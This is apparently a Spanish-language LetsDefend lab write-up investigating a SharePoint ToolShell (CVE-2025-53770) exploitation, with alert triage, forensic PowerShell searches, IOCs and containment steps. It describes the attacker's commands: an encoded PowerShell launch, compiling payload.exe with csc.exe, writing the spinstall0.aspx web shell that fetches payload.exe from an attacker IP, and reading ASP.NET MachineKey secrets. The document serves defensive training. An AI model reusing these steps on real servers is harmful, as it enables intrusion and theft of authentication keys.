Recorrido paso a paso de un laboratorio LetsDefend SOC342 que analiza el bypass de autenticación y RCE de CVE-2025-53770 SharePoint ToolShell, incluyendo la cadena de ataque, el análisis forense y las acciones de contención.
Investigué un zero-day de SharePoint llamado ToolShell (CVE-2025-53770) en el laboratorio cibernético de LetsDefend.
El ejercicio simulaba un ataque RCE zero-day real donde una solicitud POST maliciosa eludió la autenticación, ejecutó PowerShell para robar claves de MachineKeySection, compiló payload.exe y colocó un web shell malicioso (spinstall0.aspx).
Este README documenta el proceso de ataque, pasos forenses, acciones de contención y lecciones aprendidas.
| Campo | Detalles |
|---|
| Plataforma | LetsDefend Cyber Range |
| Objetivo | SharePoint Server (SharePoint01) |
| CVE | CVE-2025-53770 |
| Objetivo | Analizar RCE, practicar detección y contención |
| Herramientas Usadas | Windows PowerShell, VirusTotal, AbuseIPDB, Talosintelligence, LetsDefend Log Management, LetsDefend Endpoint Security, Base64 Decoder, LetsDefend Threat Intel |
Una alerta crítica marcó actividad sospechosa dirigida a ToolPane.aspx en SharePoint con un payload grande y un Referer falsificado.
Esto se correlaciona con CVE-2025-53770, una vulnerabilidad zero-day que permite RCE no autenticado mediante solicitudes POST manipuladas.

Qué es: El nivel de severidad asignado a esta alerta — el más alto y urgente.
Por qué es importante: Indica que este evento podría llevar a un compromiso total del sistema (RCE). Trátelo como prioridad máxima: aísle e investigue de inmediato.
Qué es: La marca de tiempo cuando se activó la alerta.
Por qué es importante: Úsela para localizar registros, correlacionar eventos relacionados y construir una línea de tiempo (busque ± unos minutos u horas).
Qué es: La regla o firma de detección que se disparó, describiendo la condición coincidente (intento de explotación de ToolShell).
Por qué es importante: Identifica qué patrón de ataque fue detectado — útil para buscar casos similares (por ejemplo, POSTs no autenticados a páginas de administración o posibles subidas de web shells).
Qué es: Identificador numérico para esta instancia de alerta o regla específica (definido por el proveedor).
Por qué es importante: Ayuda con el seguimiento, filtrado y referencia de esta alerta en tickets o informes.
Qué es: Clasificación de alto nivel — esta alerta se dirige a la infraestructura web.
Por qué es importante: Enruta el incidente al equipo de web/SharePoint/infraestructura y aplica playbooks específicos para web.
Qué es: Rol de analista o nivel de escalamiento esperado para manejar la alerta.
Por qué es importante: Indica que no es una alerta de nivel 1 — requiere un Analista de Seguridad (respondedor experimentado) para acción inmediata.
Qué es: Nombre del host afectado (objetivo u origen de la actividad).
Por qué es importante: Este es el objetivo de contención principal — aíslelo, recolecte evidencia y monitoree este sistema primero.
Qué es: La IP que envía la solicitud sospechosa (atacante o proxy).
Por qué es importante: Bloquéela en el firewall/WAF, busque otros impactos desde ella y verifique propiedad/geo. Nota: Las IPs pueden estar falsificadas o ser parte de botnets.
Qué es: La IP interna objetivo (SharePoint01).
Por qué es importante: Confirma qué sistema interno fue objetivo — mapéelo al nombre del host y revise las rutas de acceso internas/reglas de firewall.
Qué es: El verbo HTTP utilizado — el cliente envió datos al servidor.
Por qué es importante: Los POST a endpoints de administración son sospechosos cuando no están autenticados o son grandes — pueden llevar payloads de exploits o web shells.
/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
Qué es: La ruta web y los parámetros exactos objetivo.
Por qué es importante: Este es un endpoint de administración/layout de SharePoint — comúnmente abusado por atacantes para bypass de autenticación o subida de código. Busque otras solicitudes a la misma ruta.
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Qué es: La cadena de navegador reportada por el cliente.
Por qué es importante: A menudo falsificada por atacantes para parecer legítima — puede ayudar a filtrar registros, pero no confíe en ella para atribución.
/_layouts/SignOut.aspx
Qué es: Cabecera HTTP que afirma que la solicitud provino de la página de cierre de sesión de SharePoint.
Por qué es importante: Los referers falsificados son sospechosos — pueden usarse para evitar verificaciones o imitar tráfico normal. Compare con flujos de navegación legítimos.
7699Qué es: Tamaño del cuerpo de la solicitud HTTP (en bytes).
Por qué es importante: Un cuerpo POST grande a un endpoint de administración sugiere un exploit serializado o subida de archivo. Busque otros POSTs de tamaño similar a la misma URL.
Texto: Solicitud POST no autenticada sospechosa dirigida a ToolPane.aspx con gran tamaño de payload y referer falsificado — indicativo de explotación de CVE-2025-53770.
Qué es: Explicación de la regla que resume el comportamiento coincidente.
Por qué es importante: Describe exactamente por qué se disparó la alerta — verifique si la solicitud fue no autenticada, qué payload fue enviado y si coincide con patrones de exploit conocidos.
Qué es: Indica la respuesta del dispositivo protector (ej. WAF/firewall).
Por qué es importante: Como fue permitido, el ataque llegó al host — trátelo como posible compromiso.
Acciones inmediatas:
107.191.58.76)SharePoint01)🔎 Resumen:
Esta alerta refleja un intento de explotación no autenticado explotando ToolPane.aspx (RCE de SharePoint CVE-2025-53770). La solicitud POST contenía un payload grande y referer falsificado, consistente con comportamiento de explotación zero-day de ToolShell. Debido a que el dispositivo permitió la solicitud, asuma posible compromiso hasta que se demuestre lo contrario. 🟥 Severidad: Crítico
Buscar POSTs IIS/WAF a ToolPane.aspx (alrededor de 2025-07-22 13:07):
Select-String -Path "C:\inetpub\logs\LogFiles\**\*.log" -Pattern "/_layouts/15/ToolPane.aspx" | Out-File .\IIS_ToolPane_hits.txt
Extraer cuerpo completo del POST desde WAF/proxy o captura de paquetes y guardar en un share forense.
Buscar ASPX nuevos/modificados en webroot (web shells):
Get-ChildItem "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\**\*.aspx" -Recurse | Sort LastWriteTime -Desc | Select FullName,LastWriteTime
Bloquear atacante y aislar host: bloquear 107.191.58.76 en perímetro/WAF y mover SharePoint01 a cuarentena (o restringir salida).
No elimine archivos sospechosos — primero haga copias forenses.
Microsoft SharePoint es una plataforma de colaboración y gestión de documentos.
Proporciona almacenamiento seguro de archivos, control de versiones y portales de intranet, integrado con Active Directory, Teams, Outlook y Power BI.
Una vulnerabilidad RCE no autenticada crítica en Microsoft SharePoint Server que explota deserialización insegura.
Los atacantes la usan para:
🧮 Puntuación CVSS: 9.8 (Crítico)
📡 Explotación: Activa en la naturaleza
IP de Origen: 107.191.58.76
🧩 Resultado: 15/95 proveedores de seguridad la marcaron como maliciosa.

Verificado mediante AbuseIPDB — IP vinculada a:

Verificado mediante Talos Intelligence — Características de IP/subred:
*.vultrusercontent.com
Localicé el host SharePoint01 en Endpoint Security.
Examiné el Historial de Terminal en busca de comandos sospechosos.

Este registro muestra que a las 13:07:11, un proceso de PowerShell se ejecutó bajo el grupo de aplicaciones de SharePoint, ejecutando un comando codificado en Base64. El proceso padre era services.exe, y el ataque se dirigía a directorios de SharePoint. Este es un indicador claro de explotación de ToolShell y ejecución remota de código dentro del servidor SharePoint.
-nop = -NoProfile: iniciar PowerShell sin cargar el perfil de usuario (evita detección basada en perfiles, se ejecuta más rápido).-w hidden = -WindowStyle Hidden: ejecutar sin mostrar una ventana (sigilo).-e = -EncodedCommand: la siguiente cadena es contenido de PowerShell codificado en Base64 (generalmente UTF-16LE o a veces UTF-8) — usado para ocultar código de la inspección casual y registros simples.<BASE64>: payload Base64 largo — al decodificarlo contiene un script de servidor ASPX (parece un web shell) que lee valores de MachineKey.

⚙️ Resumen del Comportamiento
Esto indica robo de MachineKey para falsificar tokens de ViewState/auth — explotación clásica de ToolShell.

🧩 Hallazgo: El atacante compiló payload.cs en payload.exe usando el compilador .NET integrado → probable malware.
Qué hace esto literalmente (paso a paso):
csc.exe → el compilador C# que viene con .NET Framework./out:C:\Windows\Temp\payload.exe → le dice al compilador dónde guardar el programa compilado y cómo llamarlo (payload.exe).C:\Windows\Temp\payload.cs → el archivo fuente C# (código legible por humanos) que el compilador convierte en un programa ejecutable.Por qué esto es peligroso (explicación para principiantes):
.cs) en un ejecutable (.exe) en la máquina víctima.payload.exe) puede realizar cualquier acción que el atacante haya programado: abrir conexiones de red, generar shells, instalar persistencia o robar datos.Cómo probablemente lo usó el atacante en la cadena de ataque:
payload.cs.payload.exe para que pudiera ejecutarse como un programa nativo en el servidor.Evidencia a buscar (qué buscar en registros/archivos):
csc.exe con argumentos que apunten a payload.cs o /out:C:\Windows\Temp\payload.exe.C:\Windows\Temp\payload.cs y C:\Windows\Temp\payload.exe (recolectar copias forenses y calcular hashes).w3wp.exe / powershell.exe / cmd.exe generando csc.exe.payload.exe si se ejecutó.Resumen en una línea (para README/ticket):
El atacante usó el compilador C# de .NET (csc.exe) para compilar payload.cs en payload.exe en el host — creando un ejecutable nativo para actividad maliciosa posterior.

🧩 Hallazgo:Creó spinstall0.aspx dentro del directorio LAYOUTS de SharePoint → backdoor accesible por web.
Qué hace esto literalmente (paso a paso, en lenguaje sencillo):
cmd.exe /c → inicia el shell de comandos de Windows para ejecutar un solo comando y luego salir.echo <...> > "...\spinstall0.aspx" → imprime el texto HTML/ASPX proporcionado y lo escribe en el archivo spinstall0.aspx (el operador > crea o sobrescribe el archivo).runat="server" → hace que el archivo sea ASPX del lado del servidor, por lo que IIS/SharePoint lo ejecuta dentro del proceso de la aplicación web en lugar de servirlo como texto estático.<object> contiene Url="http://107.191.58.76/payload.exe" → instruye a la página (o al servidor cuando se ejecuta) a obtener el payload.exe del atacante desde el host remoto.Por qué esto es peligroso (explicación para principiantes):
Cómo probablemente lo usó el atacante en la cadena de ataque:
spinstall0.aspx en la carpeta LAYOUTS de SharePoint.payload.exe desde el host del atacante.Evidencia a buscar (qué buscar en registros/archivos):
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx — recolectar copia forense y calcular SHA256.cmd.exe escribiendo en esa ruta.spinstall0.aspx o solicitudes salientes a http://107.191.58.76/payload.exe.spinstall0.aspx (indicando descarga/ejecución de payload).Resumen en una línea (para README/ticket):
El atacante creó un web shell ASPX del lado del servidor (spinstall0.aspx) en la carpeta LAYOUTS de SharePoint que instruye al servidor a obtener/ejecutar payload.exe desde la infraestructura del atacante — backdoor remoto persistente.

🧩 Hallazgo: Ejecutó PowerShell para leer y exfiltrar la configuración de MachineKey — condición previa directa para RCE.
Qué hace esto literalmente (paso a paso):
powershell.exe → el shell de scripts de Windows.-Command le dice a PowerShell que ejecute la siguiente expresión.[System.Web.Configuration.MachineKeySection]::GetApplicationConfig() llama a .NET para recuperar el objeto de configuración machineKey de ASP.NET (incluye ValidationKey, DecryptionKey y configuraciones relacionadas).Por qué esto es peligroso (explicación para principiantes):
machineKey contiene secretos que ASP.NET usa para:
ViewState y cookies de autenticación de formularios.ValidationKey/DecryptionKey, puede:
ViewState firmado o cookies de autenticación, o descifrar tokens.Cómo probablemente lo usó el atacante en la cadena de ataque:
ToolPane.aspx para ejecutar código dentro del proceso de la aplicación SharePoint.ValidationKey / DecryptionKey.ViewState malicioso) o cookies de autenticación válidas para escalar acceso.Evidencia a buscar (qué buscar en registros/archivos):
powershell.exe con GetApplicationConfig o MachineKeySection en la línea de comandos.ValidationKey / DecryptionKey).MachineKeySection / GetApplicationConfig.IIS APPPOOL\SharePoint) en las mismas marcas de tiempo.Resumen en una línea (para README/ticket):
El atacante ejecutó PowerShell para llamar a System.Web.Configuration.MachineKeySection::GetApplicationConfig() — intentando exfiltrar machineKey de ASP.NET (ValidationKey/DecryptionKey), permitiendo falsificación de tokens y bypass de autenticación.
Fuente: LetsDefend Threat Intel (consultado por IP 107.191.58.76)
Referer: /_layouts/SignOut.aspx.
| Tipo | Indicador | Descripción |
|---|---|---|
| IP | 107.191.58.76 | IP de origen del atacante enviando POST de exploit |
| URL | /_layouts/15/ToolPane.aspx?DisplayMode=Edit | Endpoint del exploit |
| Archivo | spinstall0.aspx | Web shell ASPX malicioso desplegado |
| Cadena | MachineKeySection | Evidencia de intento de exfiltración de machineKey |
VictorSe detectó explotación de día cero de ToolShell (CVE‑2025‑53770) contra SharePoint local (SharePoint01). El atacante (IP 107.191.58.76) evitó la autenticación y realizó múltiples acciones posteriores a la explotación:
spinstall0.aspx (web shell) al directorio LAYOUTS de SharePoint.payload.exe localmente usando el compilador .NET C#.

Conclusión: Compromiso confirmado — despliegue de web shell, exfiltración de claves y compilación de payload en el host.
SharePoint01 (VLAN de cuarentena) o bloquear IPs del atacante en perímetro/WAF/firewall.spinstall*.aspx, payload.exe (por nombre/hash) y uso de GetApplicationConfig/MachineKeySection.spinstall0.aspx, tareas programadas/servicios no autorizados y cualquier malware detectado (después de recolectar copias forenses).machineKey de ASP.NET (coordinar con propietarios de aplicaciones) y aplicar parches de emergencia de julio de 2025 de Microsoft a todas las instancias locales de SharePoint.-EncodedCommand / -e) en servidores web.csc.exe compilando código en C:\Windows\Temp en hosts web.POST grandes no autenticados a ToolPane.aspx mediante reglas WAF.csc.exe, cmd.exe, powershell.exe) son frecuentemente abusados después de la explotación; supervise su uso inesperado en servidores web.SharePoint01 y bloquear 107.191.58.76.spinstall0.aspx, payload.cs, payload.exe (preservar marcas de tiempo).w3wp.exe / payload.exe para análisis.machineKey y credenciales afectadas después de la recolección de evidencia.